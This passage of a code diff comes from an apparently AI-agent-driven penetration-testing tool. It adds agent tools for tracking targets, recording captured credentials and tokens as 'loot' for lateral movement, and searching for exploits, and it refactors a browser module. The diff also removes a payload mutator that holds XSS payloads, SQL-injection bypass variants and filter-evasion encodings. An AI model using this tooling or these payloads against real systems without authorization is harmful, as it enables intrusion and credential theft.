+ Use this when you discover new hosts during recon, pivoting, or post-exploitation.
2820
+ The target will be tracked in SharedState and available for all agents.`,
2821
+ parameters: {
2822
+ ip: { type: "string", description: "Target IP address" },
2823
+ hostname: { type: "string", description: "Target hostname (optional)" },
2824
+ ports: {
2825
+ type: "array",
2826
+ items: {
2827
+ type: "object",
2828
+ properties: {
2829
+ port: { type: "number", description: "Port number" },
2830
+ service: { type: "string", description: "Service name (e.g., http, ssh)" },
2831
+ version: { type: "string", description: "Service version" },
2832
+ state: { type: "string", description: "Port state (default: open)" }
2833
+ },
2834
+ required: ["port", "service"]
2835
+ },
2836
+ description: "Discovered ports (optional, can add later via recon)"
2837
+ },
2838
+ tags: {
2839
+ type: "array",
2840
+ items: { type: "string" },
2841
+ description: 'Tags for categorization (e.g., "internal", "dmz", "pivot")'
2842
+ }
2843
+ },
2844
+ required: ["ip"],
2845
+ execute: async (p) => {
2846
+ const ip = p.ip;
2847
+ const existing = state.getTarget(ip);
2848
+ if (existing) {
2849
+ const newPorts = p.ports || [];
2850
+ for (const np of newPorts) {
2851
+ const exists = existing.ports.some((ep) => ep.port === np.port);
2852
+ if (!exists) {
2853
+ existing.ports.push({
2854
+ port: np.port,
2855
+ service: np.service || "unknown",
2856
+ version: np.version,
2857
+ state: np.state || "open",
2858
+ notes: []
2859
+ });
2860
+ }
2861
+ }
2862
+ if (p.hostname) existing.hostname = p.hostname;
2863
+ if (p.tags) existing.tags = [.../* @__PURE__ */ new Set([...existing.tags, ...p.tags])];
2864
+ return { success: true, output: `Target ${ip} updated. Total ports: ${existing.ports.length}` };
2865
+ }
2866
+ const ports = (p.ports || []).map((port) => ({
2867
+ port: port.port,
2868
+ service: port.service || "unknown",
2869
+ version: port.version,
2870
+ state: port.state || "open",
2871
+ notes: []
2872
+ }));
2873
+ state.addTarget({
2874
+ ip,
2875
+ hostname: p.hostname,
2876
+ ports,
2877
+ tags: p.tags || [],
2878
+ firstSeen: Date.now()
2879
+ });
2880
+ return { success: true, output: `Target ${ip} added.${p.hostname ? ` Hostname: ${p.hostname}` : ""} Ports: ${ports.length}` };
2881
+ }
2882
+ },
2883
+ {
2884
+ name: TOOL_NAMES.ADD_LOOT,
2885
+ description: `Record captured loot (credentials, hashes, tokens, SSH keys, files, etc).
2886
+ Use this whenever you discover sensitive data during the engagement.
2887
+ Loot is tracked in SharedState and visible to all agents for credential reuse and lateral movement.
2888
+ Types: credential, hash, token, ssh_key, api_key, file, session, ticket, certificate`,
2889
+ parameters: {
2890
+ type: { type: "string", description: "Loot type: credential, hash, token, ssh_key, api_key, file, session, ticket, certificate" },
2891
+ host: { type: "string", description: "Source host where loot was found" },
2892
+ detail: { type: "string", description: 'Loot detail (e.g., "admin:Password123", "root:$6$...", "JWT admin token")' }
2893
+ },
2894
+ required: ["type", "host", "detail"],
2895
+ execute: async (p) => {
2896
+ const lootType = p.type;
2897
+ const crackableTypes = ["hash"];
2898
+ state.addLoot({
2899
+ type: lootType,
2900
+ host: p.host,
2901
+ detail: p.detail,
2902
+ obtainedAt: Date.now(),
2903
+ isCrackable: crackableTypes.includes(lootType),
2904
+ isCracked: false
2905
+ });
2906
+ return {
2907
+ success: true,
2908
+ output: `Loot recorded: [${lootType}] from ${p.host}
2909
+ Detail: ${p.detail}
2910
+ ` + (crackableTypes.includes(lootType) ? `This is crackable. Consider: hash_crack({ hashes: "${p.detail.slice(0, 30)}..." })` : `Consider credential reuse / lateral movement with this loot.`)
2911
+ };
2912
+ }
2913
+ },
2914
+ {
2915
+ name: TOOL_NAMES.ADD_FINDING,
2916
+ description: "Add a security finding",
2917
+ parameters: {
2918
+ title: { type: "string", description: "Finding title" },
2919
+ severity: { type: "string", description: "Severity" },
2920
+ affected: { type: "array", items: { type: "string" }, description: "Affected host:port" }
2921
+ },
2922
+ required: ["title", "severity"],
2923
+ execute: async (p) => {
2924
+ state.addFinding({
2925
+ id: generateId(ID_RADIX, ID_LENGTH),
2926
+ title: p.title,
2927
+ severity: p.severity,
2928
+ affected: p.affected || [],
2929
+ description: p.description || "",
2930
+ evidence: [],
2931
+ isVerified: false,
2932
+ remediation: "",
2933
+ foundAt: Date.now()
2934
+ });
2935
+ return { success: true, output: `Added: ${p.title}` };
2936
+ }
2937
+ }
2938
+ ];
2939
+
2940
+ // src/engine/tools-mid.ts
2941
+ import { execFileSync } from "child_process";
2942
+
2943
+ // src/shared/utils/config.ts
2944
+ import path from "path";
2945
+ import { fileURLToPath } from "url";
2946
+ var __filename = fileURLToPath(import.meta.url);
2947
+ var __dirname = path.dirname(__filename);
2948
+ var ENV_KEYS = {
2949
+ API_KEY: "PENTEST_API_KEY",
2950
+ BASE_URL: "PENTEST_BASE_URL",
2951
+ MODEL: "PENTEST_MODEL",
2952
+ SEARCH_API_KEY: "SEARCH_API_KEY",
2953
+ SEARCH_API_URL: "SEARCH_API_URL"
2954
+ };
2955
+ var DEFAULT_SEARCH_API_URL = "https://api.search.brave.com/res/v1/web/search";
2956
+ function getApiKey() {
2957
+ return process.env[ENV_KEYS.API_KEY] || "";
2958
+ }
2959
+ function getBaseUrl() {
2960
+ return process.env[ENV_KEYS.BASE_URL] || void 0;
2961
+ }
2962
+ function getModel() {
2963
+ return process.env[ENV_KEYS.MODEL] || "";
2964
+ }
2965
+ function getSearchApiKey() {
2966
+ return process.env[ENV_KEYS.SEARCH_API_KEY];
2967
+ }
2968
+ function getSearchApiUrl() {
2969
+ return process.env[ENV_KEYS.SEARCH_API_URL] || DEFAULT_SEARCH_API_URL;
2970
+ }
2971
+ function isBrowserHeadless() {
2972
+ return true;
2973
+ }
2974
+
2975
+ // src/shared/constants/search-api.const.ts
2976
+ var SEARCH_URL_PATTERN = {
2977
+ GLM: "bigmodel.cn",
2978
+ ZHIPU: "zhipuai",
2979
+ BRAVE: "brave.com",
2980
+ SERPER: "serper.dev"
2981
+ };
2982
+ var SEARCH_HEADER = {
2983
+ CONTENT_TYPE: "Content-Type",
2984
+ AUTHORIZATION: "Authorization",
2985
+ ACCEPT: "Accept",
2986
+ X_SUBSCRIPTION_TOKEN: "X-Subscription-Token",
2987
+ X_API_KEY: "X-API-KEY"
2988
+ };
2989
+ var SEARCH_LIMIT = {
2990
+ DEFAULT_RESULT_COUNT: 10,
2991
+ MAX_OUTPUT_LINES: 20,
2992
+ TIMEOUT_MS: 1e4
2993
+ };
2994
+
2995
+ // src/shared/utils/debug-logger.ts
2996
+ import { appendFileSync as appendFileSync2, writeFileSync as writeFileSync3 } from "fs";
2997
+ import { join as join2 } from "path";
2998
+
2999
+ // src/shared/constants/paths.ts
3000
+ import path2 from "path";
3001
+ import { fileURLToPath as fileURLToPath2 } from "url";
3002
+ import { homedir } from "os";
3003
+ var __filename2 = fileURLToPath2(import.meta.url);
3004
+ var __dirname2 = path2.dirname(__filename2);
3005
+ var PROJECT_ROOT = path2.resolve(__dirname2, "../../../");
3006
+ var WORKSPACE_DIR_NAME = ".pentesting";
3007
+ function getWorkspaceRoot() {
3008
+ return path2.join(homedir(), WORKSPACE_DIR_NAME);
3009
+ }
3010
+ var WORKSPACE = {
3011
+ /** Root directory (resolved lazily via getWorkspaceRoot) */
3012
+ get ROOT() {
3013
+ return getWorkspaceRoot();
3014
+ },
3015
+ /** Per-session state snapshots */
3016
+ get SESSIONS() {
3017
+ return path2.join(getWorkspaceRoot(), "sessions");
3018
+ },
3019
+ /** Debug logs */
3020
+ get DEBUG() {
3021
+ return path2.join(getWorkspaceRoot(), "debug");
3022
+ },
3023
+ /** Generated reports */
3024
+ get REPORTS() {
3025
+ return path2.join(getWorkspaceRoot(), "reports");
3026
+ },
3027
+ /** Downloaded loot, captured files */
3028
+ get LOOT() {
3029
+ return path2.join(getWorkspaceRoot(), "loot");
3030
+ },
3031
+ /** Temporary files for active operations */
3032
+ get TEMP() {
3033
+ return path2.join(getWorkspaceRoot(), "temp");
3034
+ }
3035
+ };
3036
+ var PATHS = {
3037
+ ROOT: PROJECT_ROOT,
3038
+ SRC: path2.join(PROJECT_ROOT, "src"),
3039
+ DIST: path2.join(PROJECT_ROOT, "dist")
3040
+ };
3041
+
3042
+ // src/shared/utils/debug-logger.ts
3043
+ var DebugLogger = class _DebugLogger {
3044
+ static instance;
3045
+ logPath;
3046
+ initialized = false;
3047
+ constructor(clearOnInit = false) {
3048
+ const debugDir = WORKSPACE.DEBUG;
3049
+ try {
3050
+ ensureDirExists(debugDir);
3051
+ this.logPath = join2(debugDir, "debug.log");
3052
+ if (clearOnInit) {
3053
+ this.clear();
3054
+ }
3055
+ this.initialized = true;
3056
+ this.log("general", "=== DEBUG LOGGER INITIALIZED ===");
3057
+ this.log("general", `Log file: ${this.logPath}`);
3058
+ } catch (e) {
3059
+ console.error("[DebugLogger] Failed to initialize:", e);
3060
+ this.logPath = "";
3061
+ }
3062
+ }
3063
+ static getInstance(clearOnInit = false) {
3064
+ if (!_DebugLogger.instance) {
3065
+ _DebugLogger.instance = new _DebugLogger(clearOnInit);
3066
+ }
3067
+ return _DebugLogger.instance;
3068
+ }
3069
+ /** Reset the singleton instance (used by initDebugLogger) */
3070
+ static resetInstance(clearOnInit = false) {
3071
+ _DebugLogger.instance = new _DebugLogger(clearOnInit);
3072
+ return _DebugLogger.instance;
3073
+ }
3074
+ log(category, message, data) {
3075
+ if (!this.initialized || !this.logPath) return;
3076
+ try {
3077
+ const timestamp = (/* @__PURE__ */ new Date()).toISOString();
3078
+ let logLine = `[${timestamp}] [${category.toUpperCase()}] ${message}`;
3079
+ if (data !== void 0) {
3080
+ logLine += ` | ${JSON.stringify(data)}`;
3081
+ }
3082
+ logLine += "\n";
2799
3083
  appendFileSync2(this.logPath, logLine);
2800
3084
  } catch (e) {
2801
3085
  console.error("[DebugLogger] Write error:", e);
@@ -2832,10 +3116,8 @@ function debugLog(category, message, data) {
2832
3116
  }
2833
3117
 
2834
3118
  // src/engine/tools/web-browser.ts
2835
- import { spawn as spawn3 } from "child_process";
2836
- import { writeFileSync as writeFileSync4, existsSync as existsSync4, mkdirSync as mkdirSync3, unlinkSync as unlinkSync2 } from "fs";
2837
- import { join as join3, dirname } from "path";
2838
- import { tmpdir as tmpdir2 } from "os";
3119
+ import { join as join5 } from "path";
3120
+ import { tmpdir as tmpdir3 } from "os";
2839
3121
 
2840
3122
  // src/shared/constants/browser/config.ts
2841
3123
  var BROWSER_CONFIG = {
@@ -2883,11 +3165,14 @@ var PLAYWRIGHT_SCRIPT = {
2883
3165
  SPAWN_TIMEOUT_BUFFER_MS: 1e4
2884
3166
  };
2885
3167
 
2886
- // src/engine/tools/web-browser.ts
3168
+ // src/engine/tools/web-browser-setup.ts
3169
+ import { spawn as spawn3 } from "child_process";
3170
+ import { existsSync as existsSync4 } from "fs";
3171
+ import { join as join3, dirname as dirname2 } from "path";
2887
3172
  function getPlaywrightPath() {
2888
3173
  try {
2889
3174
  const mainPath = __require.resolve("playwright");
2890
- return dirname(mainPath);
3175
+ return dirname2(mainPath);
2891
3176
  } catch {
2892
3177
  }
2893
3178
  const dockerPath = "/app/node_modules/playwright";
@@ -2899,16 +3184,6 @@ function getPlaywrightPath() {
2899
3184
  }
2900
3185
  return join3(process.cwd(), "node_modules", "playwright");
2901
3186
  }
2902
- var DEFAULT_OPTIONS = {
2903
- timeout: BROWSER_CONFIG.DEFAULT_TIMEOUT,
2904
- userAgent: BROWSER_CONFIG.DEFAULT_USER_AGENT,
2905
- viewport: BROWSER_CONFIG.VIEWPORT,
2906
- waitAfterLoad: BROWSER_CONFIG.DEFAULT_WAIT_AFTER_LOAD,
2907
- screenshot: false,
2908
- extractContent: true,
2909
- extractLinks: true,
2910
- extractForms: true
2911
- };
2912
3187
  async function checkPlaywright() {
2913
3188
  try {
2914
3189
  const result2 = await new Promise((resolve) => {
@@ -2955,53 +3230,20 @@ async function installPlaywright() {
2955
3230
  });
2956
3231
  });
2957
3232
  }
2958
- async function browseUrl(url, options = {}) {
2959
- const opts = { ...DEFAULT_OPTIONS, ...options };
2960
- const { installed, browserInstalled } = await checkPlaywright();
2961
- if (!installed || !browserInstalled) {
2962
- const installResult = await installPlaywright();
2963
- if (!installResult.success) {
2964
- return {
2965
- success: false,
2966
- output: "",
2967
- error: `Playwright not available and auto-install failed: ${installResult.output}`
2968
- };
2969
- }
2970
- }
2971
- const screenshotPath = opts.screenshot ? join3(join3(tmpdir2(), BROWSER_PATHS.TEMP_DIR_NAME), `screenshot-${Date.now()}.png`) : void 0;
2972
- const script = buildBrowseScript(url, opts, screenshotPath);
2973
- const result2 = await runPlaywrightScript(script, opts.timeout, "browse");
2974
- if (!result2.success) {
2975
- return {
2976
- success: false,
2977
- output: result2.output,
2978
- error: result2.error
2979
- };
2980
- }
2981
- if (result2.parsedData) {
2982
- return {
2983
- success: true,
2984
- output: formatBrowserOutput(result2.parsedData, opts),
2985
- screenshots: screenshotPath ? [screenshotPath] : void 0,
2986
- extractedData: result2.parsedData
2987
- };
2988
- }
2989
- return {
2990
- success: true,
2991
- output: result2.output || "Navigation completed",
2992
- screenshots: screenshotPath ? [screenshotPath] : void 0
2993
- };
2994
- }
3233
+
3234
+ // src/engine/tools/web-browser-script.ts
3235
+ import { spawn as spawn4 } from "child_process";
3236
+ import { writeFileSync as writeFileSync4, unlinkSync as unlinkSync2 } from "fs";
3237
+ import { join as join4 } from "path";
3238
+ import { tmpdir as tmpdir2 } from "os";
2995
3239
  function safeJsString(str) {
2996
3240
  return JSON.stringify(str);
2997
3241
  }
2998
3242
  function runPlaywrightScript(script, timeout, scriptPrefix) {
2999
3243
  return new Promise((resolve) => {
3000
- const tempDir = join3(tmpdir2(), BROWSER_PATHS.TEMP_DIR_NAME);
3001
- if (!existsSync4(tempDir)) {
3002
- mkdirSync3(tempDir, { recursive: true });
3003
- }
3004
- const scriptPath = join3(tempDir, `${scriptPrefix}-${Date.now()}${PLAYWRIGHT_SCRIPT.EXTENSION}`);
3244
+ const tempDir = join4(tmpdir2(), BROWSER_PATHS.TEMP_DIR_NAME);
3245
+ ensureDirExists(tempDir);
3246
+ const scriptPath = join4(tempDir, `${scriptPrefix}-${Date.now()}${PLAYWRIGHT_SCRIPT.EXTENSION}`);
3005
3247
  try {
3006
3248
  writeFileSync4(scriptPath, script, "utf-8");
3007
3249
  } catch (err) {
@@ -3014,10 +3256,10 @@ function runPlaywrightScript(script, timeout, scriptPrefix) {
3014
3256
  }
3015
3257
  const nodePathDirs = [
3016
3258
  "/app/node_modules",
3017
- join3(process.cwd(), "node_modules"),
3259
+ join4(process.cwd(), "node_modules"),
3018
3260
  process.env.NODE_PATH || ""
3019
3261
  ].filter(Boolean).join(":");
3020
- const child = spawn3(PLAYWRIGHT_CMD.NODE, [scriptPath], {
3262
+ const child = spawn4(PLAYWRIGHT_CMD.NODE, [scriptPath], {
3021
3263
  timeout: timeout + PLAYWRIGHT_SCRIPT.SPAWN_TIMEOUT_BUFFER_MS,
3022
3264
  env: { ...process.env, NODE_PATH: nodePathDirs }
3023
3265
  });
@@ -3194,13 +3436,64 @@ function formatBrowserOutput(data, options) {
3194
3436
  }
3195
3437
  return lines.join("\n");
3196
3438
  }
3439
+
3440
+ // src/engine/tools/web-browser-types.ts
3441
+ var DEFAULT_BROWSER_OPTIONS = {
3442
+ timeout: BROWSER_CONFIG.DEFAULT_TIMEOUT,
3443
+ userAgent: BROWSER_CONFIG.DEFAULT_USER_AGENT,
3444
+ viewport: BROWSER_CONFIG.VIEWPORT,
3445
+ waitAfterLoad: BROWSER_CONFIG.DEFAULT_WAIT_AFTER_LOAD,
3446
+ screenshot: false,
3447
+ extractContent: true,
3448
+ extractLinks: true,
3449
+ extractForms: true
3450
+ };
3451
+
3452
+ // src/engine/tools/web-browser.ts
3453
+ async function browseUrl(url, options = {}) {
3454
+ const browserOptions = { ...DEFAULT_BROWSER_OPTIONS, ...options };
3455
+ const { installed, browserInstalled } = await checkPlaywright();
3456
+ if (!installed || !browserInstalled) {
3457
+ const installResult = await installPlaywright();
3458
+ if (!installResult.success) {
3459
+ return {
3460
+ success: false,
3461
+ output: "",
3462
+ error: `Playwright not available and auto-install failed: ${installResult.output}`
3463
+ };
3464
+ }
3465
+ }
3466
+ const screenshotPath = browserOptions.screenshot ? join5(join5(tmpdir3(), BROWSER_PATHS.TEMP_DIR_NAME), `screenshot-${Date.now()}.png`) : void 0;
3467
+ const script = buildBrowseScript(url, browserOptions, screenshotPath);
3468
+ const result2 = await runPlaywrightScript(script, browserOptions.timeout, "browse");
3469
+ if (!result2.success) {
3470
+ return {
3471
+ success: false,
3472
+ output: result2.output,
3473
+ error: result2.error
3474
+ };
3475
+ }
3476
+ if (result2.parsedData) {
3477
+ return {
3478
+ success: true,
3479
+ output: formatBrowserOutput(result2.parsedData, browserOptions),
3480
+ screenshots: screenshotPath ? [screenshotPath] : void 0,
3481
+ extractedData: result2.parsedData
3482
+ };
3483
+ }
3484
+ return {
3485
+ success: true,
3486
+ output: result2.output || "Navigation completed",
3487
+ screenshots: screenshotPath ? [screenshotPath] : void 0
3488
+ };
3489
+ }
3197
3490
  async function fillAndSubmitForm(url, formData, options = {}) {
3198
- const opts = { ...DEFAULT_OPTIONS, ...options };
3491
+ const browserOptions = { ...DEFAULT_BROWSER_OPTIONS, ...options };
3199
3492
  const safeUrl = safeJsString(url);
3200
3493
  const safeFormData = JSON.stringify(formData);
3201
3494
  const playwrightPath = getPlaywrightPath();
3202
3495
  const safePlaywrightPath = safeJsString(playwrightPath);
3203
- const headlessMode = isBrowserHeadless();
3496
+ const headlessMode = process.env.HEADLESS !== "false";
3204
3497
  const script = `
3205
3498
  const { chromium } = require(${safePlaywrightPath});
3206
3499
 
@@ -3209,7 +3502,7 @@ const { chromium } = require(${safePlaywrightPath});
3209
3502
  const page = await browser.newPage();
3210
3503
 
3211
3504
  try {
3212
- await page.goto(${safeUrl}, { waitUntil: 'networkidle', timeout: ${opts.timeout} });
3505
+ await page.goto(${safeUrl}, { waitUntil: 'networkidle', timeout: ${browserOptions.timeout} });
3213
3506
 
3214
3507
  // Fill form fields
3215
3508
  const formData = ${safeFormData};
@@ -3241,7 +3534,7 @@ const { chromium } = require(${safePlaywrightPath});
3241
3534
  }
3242
3535
  })();
3243
3536
  `;
3244
- const result2 = await runPlaywrightScript(script, opts.timeout, "form");
3537
+ const result2 = await runPlaywrightScript(script, browserOptions.timeout, "form");
3245
3538
  if (!result2.success) {
3246
3539
  return {
3247
3540
  success: false,
@@ -3764,493 +4057,113 @@ Use 'get_owasp_knowledge' with edition="2023" or similar to see specific details
3764
4057
  `.trim();
3765
4058
  }
3766
4059
 
3767
- // src/shared/utils/payload-mutator.ts
3768
- function urlEncode(s) {
3769
- return [...s].map((c) => {
3770
- const code = c.charCodeAt(0);
3771
- if (code >= 65 && code <= 90 || code >= 97 && code <= 122 || code >= 48 && code <= 57) {
3772
- return c;
3773
- }
3774
- return `%${code.toString(16).padStart(2, "0").toUpperCase()}`;
3775
- }).join("");
3776
- }
3777
- function urlEncodeAll(s) {
3778
- return [...s].map((c) => `%${c.charCodeAt(0).toString(16).padStart(2, "0").toUpperCase()}`).join("");
3779
- }
3780
- function doubleUrlEncode(s) {
3781
- return urlEncodeAll(urlEncodeAll(s));
3782
- }
3783
- function tripleUrlEncode(s) {
3784
- return urlEncodeAll(urlEncodeAll(urlEncodeAll(s)));
3785
- }
3786
- function unicodeEncode(s) {
3787
- return [...s].map((c) => `%u${c.charCodeAt(0).toString(16).padStart(4, "0")}`).join("");
3788
- }
3789
- function htmlEntityDec(s) {
3790
- return [...s].map((c) => `&#${c.charCodeAt(0)};`).join("");
3791
- }
3792
- function htmlEntityHex(s) {
3793
- return [...s].map((c) => `&#x${c.charCodeAt(0).toString(16)};`).join("");
3794
- }
3795
- function hexEncode(s) {
3796
- return "0x" + [...s].map((c) => c.charCodeAt(0).toString(16).padStart(2, "0")).join("");
3797
- }
3798
- function octalEncode(s) {
3799
- return [...s].map((c) => `\\${c.charCodeAt(0).toString(8)}`).join("");
3800
- }
3801
- function base64Encode(s) {
3802
- return Buffer.from(s).toString("base64");
3803
- }
3804
- function caseSwap(s) {
3805
- return [...s].map((c) => {
3806
- if (Math.random() > 0.5) return c.toUpperCase();
3807
- return c.toLowerCase();
3808
- }).join("");
3809
- }
3810
- function commentInsert(s) {
3811
- const keywords = ["SELECT", "UNION", "FROM", "WHERE", "INSERT", "UPDATE", "DELETE", "DROP", "AND", "OR", "ORDER", "GROUP", "HAVING"];
3812
- let result2 = s;
3813
- for (const kw of keywords) {
3814
- const regex = new RegExp(kw, "gi");
3815
- result2 = result2.replace(regex, (match) => {
3816
- if (match.length <= 2) return match;
3817
- const mid = Math.floor(match.length / 2);
3818
- return match.slice(0, mid) + "/**/" + match.slice(mid);
3819
- });
3820
- }
3821
- return result2;
3822
- }
3823
- function whitespaceAlt(s) {
3824
- const alts = ["%09", "%0a", "%0c", "%0d", "/**/"];
3825
- const alt = alts[Math.floor(Math.random() * alts.length)];
3826
- return s.replace(/ /g, alt);
3827
- }
3828
- function charFunction(s, dbType = "mysql") {
3829
- const chars = [...s].map((c) => c.charCodeAt(0));
3830
- if (dbType === "mysql") {
3831
- return `CHAR(${chars.join(",")})`;
3832
- }
3833
- if (dbType === "mssql") {
3834
- return chars.map((c) => `CHAR(${c})`).join("+");
3835
- }
3836
- return chars.map((c) => `CHR(${c})`).join("||");
3837
- }
3838
- function concatSplit(s) {
3839
- if (s.length <= 2) return s;
3840
- const mid = Math.floor(s.length / 2);
3841
- return `CONCAT('${s.slice(0, mid)}','${s.slice(mid)}')`;
3842
- }
3843
- function nullByteAppend(s) {
3844
- return s + "%00";
3845
- }
3846
- function reversePayload(s) {
3847
- return [...s].reverse().join("");
3848
- }
3849
- function utf8Overlong(s) {
3850
- return s.replace(/\//g, "%c0%af").replace(/\./g, "%c0%ae");
3851
- }
3852
- function mixedEncoding(s) {
3853
- return [...s].map((c, i) => {
3854
- if (i % 2 === 0 && c !== " ") return c;
3855
- return `%${c.charCodeAt(0).toString(16).padStart(2, "0")}`;
3856
- }).join("");
3857
- }
3858
- function keywordBypass(s) {
3859
- return [...s].map((c, i) => {
3860
- if (i > 0 && i < s.length - 1 && i % 3 === 0 && c.match(/[a-z]/i)) {
3861
- return `'${c}'`;
4060
+ // src/engine/tools/pentest-intel-tools.ts
4061
+ var createIntelTools = (_state) => [
4062
+ {
4063
+ name: TOOL_NAMES.PARSE_NMAP,
4064
+ description: "Parse nmap XML output to structured JSON",
4065
+ parameters: { path: { type: "string", description: "Path to nmap XML" } },
4066
+ required: ["path"],
4067
+ execute: async (p) => parseNmap(p.path)
4068
+ },
4069
+ {
4070
+ name: TOOL_NAMES.SEARCH_CVE,
4071
+ description: "Search CVE and Exploit-DB for vulnerabilities",
4072
+ parameters: {
4073
+ service: { type: "string", description: "Service name" },
4074
+ version: { type: "string", description: "Version number" }
4075
+ },
4076
+ required: ["service"],
4077
+ execute: async (p) => searchCVE(p.service, p.version)
4078
+ },
4079
+ {
4080
+ name: TOOL_NAMES.WEB_SEARCH,
4081
+ description: `Search the web for information. Use this to:
4082
+ - Find CVE details and exploit code
4083
+ - Research security advisories
4084
+ - Look up OWASP vulnerabilities
4085
+ - Find documentation for tools and techniques
4086
+ - Search for latest security news and exploits
4087
+ - Research unknown services, parameters, or errors
4088
+
4089
+ IMPORTANT: When you encounter an error or unknown behavior, use this tool to research it.
4090
+ Returns search results with links and summaries.`,
4091
+ parameters: {
4092
+ query: { type: "string", description: "Search query" },
4093
+ use_browser: {
4094
+ type: "boolean",
4095
+ description: "Use headless browser for JavaScript-heavy pages (slower but more complete)"
4096
+ }
4097
+ },
4098
+ required: ["query"],
4099
+ execute: async (p) => {
4100
+ const query = p.query;
4101
+ const useBrowser = p.use_browser;
4102
+ if (useBrowser) {
4103
+ const result2 = await webSearchWithBrowser(query, "google");
4104
+ return {
4105
+ success: result2.success,
4106
+ output: result2.output,
4107
+ error: result2.error
4108
+ };
4109
+ }
4110
+ return webSearch(query);
3862
4111
  }
3863
- return c;
3864
- }).join("");
3865
- }
3866
- function spaceBypass(s) {
3867
- return s.replace(/ /g, "${IFS}");
3868
- }
3869
- function generateXssAlternatives(payload) {
3870
- const variants = [];
3871
- const tagPayloads = [
3872
- { p: "<svg onload=alert(1)>", d: "SVG onload" },
3873
- { p: "<img src=x onerror=alert(1)>", d: "IMG onerror" },
3874
- { p: "<body onload=alert(1)>", d: "BODY onload" },
3875
- { p: "<input onfocus=alert(1) autofocus>", d: "INPUT onfocus autofocus" },
3876
- { p: "<details open ontoggle=alert(1)>", d: "DETAILS ontoggle" },
3877
- { p: "<marquee onstart=alert(1)>", d: "MARQUEE onstart" },
3878
- { p: "<video src=x onerror=alert(1)>", d: "VIDEO onerror" },
3879
- { p: "<audio src=x onerror=alert(1)>", d: "AUDIO onerror" },
3880
- { p: '<iframe src="javascript:alert(1)">', d: "IFRAME javascript protocol" },
3881
- { p: '<object data="javascript:alert(1)">', d: "OBJECT javascript protocol" },
3882
- { p: "<svg><animate onbegin=alert(1) attributeName=x dur=1s>", d: "SVG animate onbegin" }
3883
- ];
3884
- const alertBypass = [
3885
- { p: "confirm(1)", d: "confirm() instead of alert()" },
3886
- { p: "prompt(1)", d: "prompt() instead of alert()" },
3887
- { p: 'eval(atob("YWxlcnQoMSk="))', d: "eval+base64 of alert(1)" },
3888
- { p: "window['al'+'ert'](1)", d: "string concat alert" },
3889
- { p: "self[`al`+`ert`](1)", d: "template literal alert" },
3890
- { p: '[].constructor.constructor("alert(1)")()', d: "constructor chain" }
3891
- ];
3892
- for (const tag of tagPayloads) {
3893
- variants.push({ payload: tag.p, transform: "tag_alternative", description: tag.d });
3894
- }
3895
- for (const alt of alertBypass) {
3896
- variants.push({ payload: `<img src=x onerror=${alt.p}>`, transform: "js_alternative", description: alt.d });
3897
- }
3898
- return variants;
3899
- }
3900
- function generateSqlAlternatives(payload) {
3901
- const variants = [];
3902
- variants.push({ payload: payload.replace(/--.*$/, "--"), transform: "comment_variation", description: "Double dash comment" });
3903
- variants.push({ payload: payload.replace(/--.*$/, "#"), transform: "comment_variation", description: "Hash comment (MySQL)" });
3904
- variants.push({ payload: payload.replace(/--.*$/, "/*"), transform: "comment_variation", description: "Block comment" });
3905
- variants.push({ payload: payload.replace(/--.*$/, "-- -"), transform: "comment_variation", description: "Dash-space-dash" });
3906
- variants.push({ payload: payload.replace(/--.*$/, ";--"), transform: "comment_variation", description: "Semicolon then comment" });
3907
- const mysqlVersion = payload.replace(/(UNION|SELECT|INSERT|UPDATE|DELETE|FROM|WHERE)/gi, "/*!50000$1*/");
3908
- variants.push({ payload: mysqlVersion, transform: "mysql_version_comment", description: "MySQL version comment bypass" });
3909
- return variants;
3910
- }
3911
- function mutatePayload(request) {
3912
- const { payload, transforms, context = "generic", maxVariants = 20 } = request;
3913
- const variants = [];
3914
- const recommendations = [];
3915
- const activeTransforms = transforms || getDefaultTransforms(context);
3916
- for (const transform of activeTransforms) {
3917
- switch (transform) {
3918
- case "url":
3919
- variants.push({ payload: urlEncode(payload), transform: "url", description: "URL encoded (special chars only)" });
3920
- variants.push({ payload: urlEncodeAll(payload), transform: "url_full", description: "URL encoded (all chars)" });
3921
- break;
3922
- case "double_url":
3923
- variants.push({ payload: doubleUrlEncode(payload), transform: "double_url", description: "Double URL encoded" });
3924
- break;
3925
- case "triple_url":
3926
- variants.push({ payload: tripleUrlEncode(payload), transform: "triple_url", description: "Triple URL encoded" });
3927
- break;
3928
- case "unicode":
3929
- variants.push({ payload: unicodeEncode(payload), transform: "unicode", description: "Unicode escape sequences" });
3930
- break;
3931
- case "html_entity_dec":
3932
- variants.push({ payload: htmlEntityDec(payload), transform: "html_entity_dec", description: "HTML decimal entities" });
3933
- break;
3934
- case "html_entity_hex":
3935
- variants.push({ payload: htmlEntityHex(payload), transform: "html_entity_hex", description: "HTML hex entities" });
3936
- break;
3937
- case "hex":
3938
- variants.push({ payload: hexEncode(payload), transform: "hex", description: "Hex encoded" });
3939
- break;
3940
- case "octal":
3941
- variants.push({ payload: octalEncode(payload), transform: "octal", description: "Octal encoded" });
3942
- break;
3943
- case "base64":
3944
- variants.push({ payload: base64Encode(payload), transform: "base64", description: "Base64 encoded" });
3945
- break;
3946
- case "case_swap":
3947
- for (let i = 0; i < 3; i++) {
3948
- variants.push({ payload: caseSwap(payload), transform: "case_swap", description: `Case variation ${i + 1}` });
3949
- }
3950
- break;
3951
- case "comment_insert":
3952
- variants.push({ payload: commentInsert(payload), transform: "comment_insert", description: "SQL comments in keywords" });
3953
- break;
3954
- case "whitespace_alt":
3955
- variants.push({ payload: whitespaceAlt(payload), transform: "whitespace_alt", description: "Alternative whitespace chars" });
3956
- variants.push({ payload: payload.replace(/ /g, "/**/"), transform: "whitespace_comment", description: "Comment as whitespace" });
3957
- variants.push({ payload: payload.replace(/ /g, "+"), transform: "whitespace_plus", description: "Plus as whitespace" });
3958
- break;
3959
- case "char_function":
3960
- variants.push({ payload: charFunction(payload, "mysql"), transform: "char_mysql", description: "MySQL CHAR() encoding" });
3961
- variants.push({ payload: charFunction(payload, "mssql"), transform: "char_mssql", description: "MSSQL CHAR() encoding" });
3962
- variants.push({ payload: charFunction(payload, "pg"), transform: "char_pg", description: "PostgreSQL CHR() encoding" });
3963
- break;
3964
- case "concat_split":
3965
- variants.push({ payload: concatSplit(payload), transform: "concat_split", description: "String split via CONCAT" });
3966
- break;
3967
- case "null_byte":
3968
- variants.push({ payload: nullByteAppend(payload), transform: "null_byte", description: "Null byte appended" });
3969
- variants.push({ payload: payload + "%00.jpg", transform: "null_byte_ext", description: "Null byte + fake extension" });
3970
- break;
3971
- case "reverse":
3972
